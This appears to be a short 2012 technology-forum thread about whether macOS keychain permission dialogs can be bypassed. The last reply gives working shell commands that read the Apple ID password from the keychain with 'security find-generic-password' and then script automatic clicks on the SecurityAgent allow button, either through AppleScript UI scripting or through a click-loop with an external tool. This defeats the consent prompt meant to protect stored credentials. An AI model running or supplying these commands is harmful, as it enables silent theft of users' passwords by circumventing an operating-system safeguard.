News for hackers. Stuff that matters.
Re:OSX password script for everyone to know by Schlaefer on Friday September 14, 2012 @08:04AM (#4521191)
> The only saving grace is that OSX asks me if I want to allow an app to access that password.

What do you mean with "only". It's asking you exactly for that reason.

Re:OSX password script for everyone to know by javajosh on Sunday September 16, 2012 @12:39AM (#4528254)
I'm not entirely convinced that those dialogs can't be circumvented.
Re:OSX password script for everyone to know by lri on Monday September 17, 2012 @02:32AM (#4531488)
If access for assistive devices has been enabled, you can use UI scripting to click the allow buttons:

security find-generic-password -l AppleID -w & sleep 1; osascript -e 'tell app "System Events" to click button 2 of group 1 of window 1 of process "SecurityAgent"'

You could also use something like https://github.com/smerrill/os-x-click even if access for assistive devices wasn't enabled.

    security find-generic-password -l AppleID -w &
    sleep 1
    width=$(osascript -e 'tell app "Finder"
    item 3 of (get bounds of window of desktop)
    end')
    x=$(($width / 2 + 155))
    for y in $(seq 300 20 700); do
        ~/bin/click -x $x -y $y
        sleep 0.2
    done